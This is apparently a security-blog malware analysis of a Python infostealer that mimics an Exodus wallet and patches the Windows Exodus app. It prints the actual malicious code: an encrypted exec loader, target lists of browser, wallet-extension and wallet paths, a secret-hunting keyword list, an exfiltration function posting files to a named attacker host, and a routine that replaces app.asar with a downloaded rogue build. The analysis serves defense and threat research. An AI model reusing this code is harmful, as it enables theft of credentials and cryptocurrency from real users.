Python Infostealer Patching Windows Exodus App

    Published: 2024-09-18. Last Updated: 2024-09-18 07:43:00 UTC
    by Xavier Mertens (Version: 1)
    0 comment(s)

    A few months ago, I wrote a diary[1] about a Python script that replaced the Exodus[2] Wallet app with a rogue one on macOS. Infostealers are everywhere these days. They target mainly browsers (cookies, credentials) and classic applications that may handle sensitive information. Cryptocurrency wallets are another category of applications that are juicy for attackers. I spotted again an interesting malware that mimics an Exodus wallet by displaying a small GUI:

    Note: I had to slightly patch the script to make it unable in my lab and there were some encoding glitches.

    Besides this, the Python script will also patch the official Windows Exodus app! The file is detected by only 12 antivirus products on VT (SHA256:d7a2d2bcc79674fa28af289a5efa1e399b89333595b22029c53ee4b7a74575e8)[3]. It uses TK to build the window:

    class FakeExodusWallet:
        def __init__(self, root):
            self.root = root
            self.root.title("Exodus Wallet - Fake Balance")
            self.cryptos = {
                "BTC": {"balance": 0, "symbol": "?"},
                "ETH": {"balance": 0, "symbol": "Ξ"},
                "LTC": {"balance": 0, "symbol": "?"},
                "DOGE": {"balance": 0, "symbol": "Ð"},
                "ADA": {"balance": 0, "symbol": "?"},
                "DOT": {"balance": 0, "symbol": "?"},
                "XRP": {"balance": 0, "symbol": "?"},
                "BCH": {"balance": 0, "symbol": "?"},
                "LINK": {"balance": 0, "symbol": "?"},
                "BNB": {"balance": 0, "symbol": "?"}
            }
            self.transaction_history = []
            self.create_widgets()
            logging.info("Initialized the FakeExodusWallet application.")
    
    # total gui iit
    def create_widgets(self):
        self.notebook = ttk.Notebook(self.root)
        self.notebook.pack(pady=10, expand=True)
        self.balances_frame = ttk.Frame(self.notebook, width=400, height=280)
    [...]
    

    But the magic is happening at the very beginning of the script:

    import os
    os.system('pip install cryptography')
    os.system('pip install fernet')
    os.system('pip install requests')
    from fernet import Fernet
    import requests
    exec(Fernet(b'RQM6XC1LA3UXTofVJbEGtzGHdHC8617D3uyXnMr48Os=').decrypt(b'gAAAAABm4y_i0oCohYOMNdnNZx5GmZNm_3Z3KUb86T9Du2GQLZcR1HC-d59K11hfFUGoFkyDeydPXCIQhoyM-o4vdlkSiHXKtE4BAlp5E2m0tiFnSHARdTr-xucIsWEO3Hfy0MaKIax6vPleDPTheEsEJBtOPjsJS-ogF-5WcsilggMgjxflfkm4e_xZ0kHlfUhiaoJVnGSX2MgyMHNWnFS3VoHyCh8qUQ=='))

    This code will fetch the next payload from hxxps://1312services[.]ru/paste?userid=11 and fetch another piece of Python script. This one, once unpacked, will decode another one that will be the real payload: the infostealer. It has classic features to target browsers and extensions:

    CHROMIUM_BROWSERS = [
        {"name": "Google Chrome", "path": os.path.join(LOCALAPPDATA, "Google", "Chrome", "User Data"), "taskname": "chrome.exe"},
        {"name": "Microsoft Edge", "path": os.path.join(LOCALAPPDATA, "Microsoft", "Edge", "User Data"), "taskname": "msedge.exe"},
        {"name": "Opera", "path": os.path.join(APPDATA, "Opera Software", "Opera Stable"), "taskname": "opera.exe"},
        {"name": "Opera GX", "path": os.path.join(APPDATA, "Opera Software", "Opera GX Stable"), "taskname": "opera.exe"},
        {"name": "Brave", "path": os.path.join(LOCALAPPDATA, "BraveSoftware", "Brave-Browser", "User Data"), "taskname": "brave.exe"},
        {"name": "Yandex", "path": os.path.join(APPDATA, "Yandex", "YandexBrowser", "User Data"), "taskname": "yandex.exe"},
    ]
    
    BROWSER_EXTENSIONS = [
        {"name": "Authenticator", "path": "\\Local Extension Settings\\bhghoamapcdpbohphigoooaddinpkbai"},
        {"name": "Binance", "path": "\\Local Extension Settings\\fhbohimaelbohpjbbldcngcnapndodjp"},
        {"name": "Bitapp", "path": "\\Local Extension Settings\\fihkakfobkmkjojpchpfgcmhfjnmnfpi"},
        {"name": "BoltX", "path": "\\Local Extension Settings\\aodkkagnadcbobfpggfnjeongemjbjca"},
        {"name": "Coin98", "path": "\\Local Extension Settings\\aeachknmefphepccionboohckonoeemg"},
        {"name": "Coinbase", "path": "\\Local Extension Settings\\hnfanknocfeofbddgcijnmhnfnkdnaad"},
        {"name": "Core", "path": "\\Local Extension Settings\\agoakfejjabomempkjlepdflaleeobhb"},
        {"name": "Crocobit", "path": "\\Local Extension Settings\\pnlfjmlcjdjgkddecgincndfgegkecke"},
        {"name": "Equal", "path": "\\Local Extension Settings\\blnieiiffboillknjnepogjhkgnoapac"},
        {"name": "Ever", "path": "\\Local Extension Settings\\cgeeodpfagjceefieflmdfphplkenlfk"},
        {"name": "ExodusWeb3", "path": "\\Local Extension Settings\\aholpfdialjgjfhomihkjbmgjidlcdno"},
        {"name": "Fewcha", "path": "\\Local Extension Settings\\ebfidpplhabeedpnhjnobghokpiioolj"},
        {"name": "Finnie", "path": "\\Local Extension Settings\\cjmkndjhnagcfbpiemnkdpomccnjblmj"},
        {"name": "Guarda", "path": "\\Local Extension Settings\\hpglfhgfnhbgpjdenjgmdgoeiappafln"},
        {"name": "Guild", "path": "\\Local Extension Settings\\nanjmdknhkinifnkgdcggcfnhdaammmj"},
        {"name": "HarmonyOutdated", "path": "\\Local Extension Settings\\fnnegphlobjdpkhecapkijjdkgcjhkib"},
        {"name": "Iconex", "path": "\\Local Extension Settings\\flpiciilemghbmfalicajoolhkkenfel"},
        {"name": "Jaxx Liberty", "path": "\\Local Extension Settings\\cjelfplplebdjjenllpjcblmjkfcffne"},
        {"name": "Kaikas", "path": "\\Local Extension Settings\\jblndlipeogpafnldhgmapagcccfchpi"},
        {"name": "KardiaChain", "path": "\\Local Extension Settings\\pdadjkfkgcafgbceimcpbkalnfnepbnk"},
        {"name": "Keplr", "path": "\\Local Extension Settings\\dmkamcknogkgcdfhhbddcghachkejeap"},
        {"name": "Liquality", "path": "\\Local Extension Settings\\kpfopkelmapcoipemfendmdcghnegimn"},
        {"name": "MEWCX", "path": "\\Local Extension Settings\\nlbmnnijcnlegkjjpcfjclmcfggfefdm"},
        {"name": "MaiarDEFI", "path": "\\Local Extension Settings\\dngmlblcodfobpdpecaadgfbcggfjfnm"},
        {"name": "Martian", "path": "\\Local Extension Settings\\efbglgofoippbgcjepnhiblaibcnclgk"},
        {"name": "Math", "path": "\\Local Extension Settings\\afbcbjpbpfadlkmhmclhkeeodmamcflc"},
        {"name": "Metamask", "path": "\\Local Extension Settings\\nkbihfbeogaeaoehlefnkodbefgpgknn"},
        {"name": "Metamask2", "path": "\\Local Extension Settings\\ejbalbakoplchlghecdalmeeeajnimhm"},
        {"name": "Mobox", "path": "\\Local Extension Settings\\fcckkdbjnoikooededlapcalpionmalo"},
        {"name": "Nami", "path": "\\Local Extension Settings\\lpfcbjknijpeeillifnkikgncikgfhdo"},
        {"name": "Nifty", "path": "\\Local Extension Settings\\jbdaocneiiinmjbjlgalhcelgbejmnid"},
        {"name": "Oxygen", "path": "\\Local Extension Settings\\fhilaheimglignddkjgofkcbgekhenbh"},
        {"name": "PaliWallet", "path": "\\Local Extension Settings\\mgffkfbidihjpoaomajlbgchddlicgpn"},
        {"name": "Petra", "path": "\\Local Extension Settings\\ejjladinnckdgjemekebdpeokbikhfci"},
        {"name": "Phantom", "path": "\\Local Extension Settings\\bfnaelmomeimhlpmgjnjophhpkkoljpa"},
        {"name": "Pontem", "path": "\\Local Extension Settings\\phkbamefinggmakgklpkljjmgibohnba"},
        {"name": "Ronin", "path": "\\Local Extension Settings\\fnjhmkhhmkbjkkabndcnnogagogbneec"},
        {"name": "Safepal", "path": "\\Local Extension Settings\\lgmpcpglpngdoalbgeoldeajfclnhafa"},
        {"name": "Saturn", "path": "\\Local Extension Settings\\nkddgncdjgjfcddamfgcmfnlhccnimig"},
        {"name": "Slope", "path": "\\Local Extension Settings\\pocmplpaccanhmnllbbkpgfliimjljgo"},
        {"name": "Solfare", "path": "\\Local Extension Settings\\bhhhlbepdkbapadjdnnojkbgioiodbic"},
        {"name": "Sollet", "path": "\\Local Extension Settings\\fhmfendgdocmcbmfikdcogofphimnkno"},
        {"name": "Starcoin", "path": "\\Local Extension Settings\\mfhbebgoclkghebffdldpobeajmbecfk"},
        {"name": "Swash", "path": "\\Local Extension Settings\\cmndjbecilbocjfkibfbifhngkdmjgog"},
        {"name": "TempleTezos", "path": "\\Local Extension Settings\\ookjlbkiijinhpmnjffcofjonbfbgaoc"},
        {"name": "TerraStation", "path": "\\Local Extension Settings\\aiifbnbfobpmeekipheeijimdpnlpgpp"},
        {"name": "Tokenpocket", "path": "\\Local Extension Settings\\mfgccjchihfkkindfppnaooecgfneiii"},
        {"name": "Ton", "path": "\\Local Extension Settings\\nphplpgoakhhjchkkhmiggakijnkhfnd"},
        {"name": "Tron", "path": "\\Local Extension Settings\\ibnejdfjmmkpcnlpebklmnkoeoihofec"},
        {"name": "Trust Wallet", "path": "\\Local Extension Settings\\egjidjbpglichdcondbcbdnbeeppgdph"},
        {"name": "Wombat", "path": "\\Local Extension Settings\\amkmjjmmflddogmhpjloimipbofnfjih"},
        {"name": "XDEFI", "path": "\\Local Extension Settings\\hmeobnfnfcmdkdcmlblgagmfpfboieaf"},
        {"name": "XMR.PT", "path": "\\Local Extension Settings\\eigblbgjknlfbajkfhopmcojidlgcehm"},
        {"name": "XinPay", "path": "\\Local Extension Settings\\bocpokimicclpaiekenaeelehdjllofo"},
        {"name": "Yoroi", "path": "\\Local Extension Settings\\ffnbelfdoeiohenkjibnmadjiehjhajb"},
        {"name": "iWallet", "path": "\\Local Extension Settings\\kncchdigobghenbbaddojjnnaogfppfj"}
    ]
    

    But also wallets:

    WALLET_PATHS = [
        {"name": "Atomic", "path": os.path.join(APPDATA, "atomic", "Local Storage", "leveldb")},
        {"name": "Exodus", "path": os.path.join(APPDATA, "Exodus", "exodus.wallet")},
        {"name": "Electrum", "path": os.path.join(APPDATA, "Electrum", "wallets")},
        {"name": "Electrum-LTC", "path": os.path.join(APPDATA, "Electrum-LTC", "wallets")},
        {"name": "Zcash", "path": os.path.join(APPDATA, "Zcash")},
        {"name": "Armory", "path": os.path.join(APPDATA, "Armory")},
        {"name": "Bytecoin", "path": os.path.join(APPDATA, "bytecoin")},
        {"name": "Jaxx", "path": os.path.join(APPDATA, "com.liberty.jaxx", "IndexedDB", "file__0.indexeddb.leveldb")},
        {"name": "Etherium", "path": os.path.join(APPDATA, "Ethereum", "keystore")},
        {"name": "Guarda", "path": os.path.join(APPDATA, "Guarda", "Local Storage", "leveldb")},
        {"name": "Coinomi", "path": os.path.join(APPDATA, "Coinomi", "Coinomi", "wallets")},
    ]
    
    

    As you can see, it focuses mainly on cryptocurrency applications. Files are also searched for interesting keywords:

    FILE_KEYWORDS = [
            "passw",
            "mdp",
            "motdepasse",
            "mot_de_passe",
            "login",
            "secret",
            "account",
            "acount",
            "paypal",
            "banque",
            "metamask",
            "wallet",
            "crypto",
            "exodus",
            "discord",
            "2fa",
            "code",
            "memo",
            "compte",
            "token",
            "backup",
            "seecret"
    ]

    A lot of words are French ones!

    Data is of course exfiltrated:

    def upload_to_server(filepath):
        for i in range(10):
            try:
                url = "hxxps://1312services[.]ru/delivery"
                files = {'file': open(filepath, 'rb')}
                headers = {'userid': userid}
                r = requests.post(url, files=files, headers = headers)
                if r.status_code == 200:
                    break
            except: pass

    But the most interesting behavior is the patching of Exodus and Atomic. Let's have a look at Exodus;

    def inject():
        procc = "exodus.exe"
        local = os.getenv("localappdata")
        path = f"{local}/exodus"
        if not os.path.exists(path): return
        listOfFile = os.listdir(path)
        apps = []
        for file in listOfFile:
            if "app-" in file:
                apps += [file]
        exodusPatchURL = "hxxps://1312services[.]ru/wallet"
        headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36"}
        req = Request(exodusPatchURL, headers=headers)
        response = urlopen(req)
        data = response.read()
        subprocess.Popen(f"taskkill /im {procc} /t /f >nul 2>&1", shell=True)
        for app in apps:
            try:
                fullpath = f"{path}/{app}/resources/app.asar"
                with open(fullpath, 'wb') as out_file1:
                    out_file1.write(data)
                licensepath = f"{path}/{app}/LICENSE"
                with open(licensepath, "w") as out_file2:
                    out_file2.write(userid)
            except: pass

    This piece of code will grab a rogue "app.asar" file (SHA256:84c4a9dbe24cdae8e2ad9bd7eb3d116cea7f5202cd92a49fa3cc005ec585b95a). The original file will be replaced. The file is an ASAR[4] archive. This file format is used by Electron applications. Let’s inspect it:

    remnux@remnux:/MalwareZoo/20240917$ asar list app.asar | more
    /package.json
    /src
    /src/16420818ab98cf8c81f2d64f045d92bc.tgz
    /src/app
    /src/app/_local_modules
    /src/app/_local_modules/components
    /src/app/_local_modules/components/Logo
    /src/app/_local_modules/components/Logo/ex-trezor.svg
    /src/app/core
    /src/app/core/index.js
    /src/app/keyviewer
    /src/app/keyviewer/index.js
    /src/app/main
    /src/app/main/index.js
    /src/app/monero
    /src/app/monero/index.js
    /src/app/network
    /src/app/network/index.js
    /src/app/nfts
    /src/app/nfts/components
    [...]
    

    I tried to compare the app.asar against a valid Exodus install. The rogue version was pretty old (23.8.1) compared to the latest one (24.37.2). I did not find the official 23.8.1 release but I presume that the code has been modified to replace the wallet address with the one of the attacker in transactions.

    If, by chance, you still have an Exodus wallet version 23.8.1, please share it with me!

    [1] https://isc.sans.edu/diary/macOS+Python+Script+Replacing+Wallet+Applications+with+Rogue+Apps/30572
    [2] https://www.exodus.com
    [3] https://www.virustotal.com/gui/file/d7a2d2bcc79674fa28af289a5efa1e399b89333595b22029c53ee4b7a74575e8
    [4] https://github.com/electron/asar

    Xavier Mertens (@xme)
    Xameco
    Senior ISC Handler - Freelance Cyber Security Consultant
    PGP Key

    0 comment(s)
    ISC Stormcast For Wednesday, September 18th, 2024 https://isc.sans.edu/podcastdetail/9142

      Comments


      Diary Archives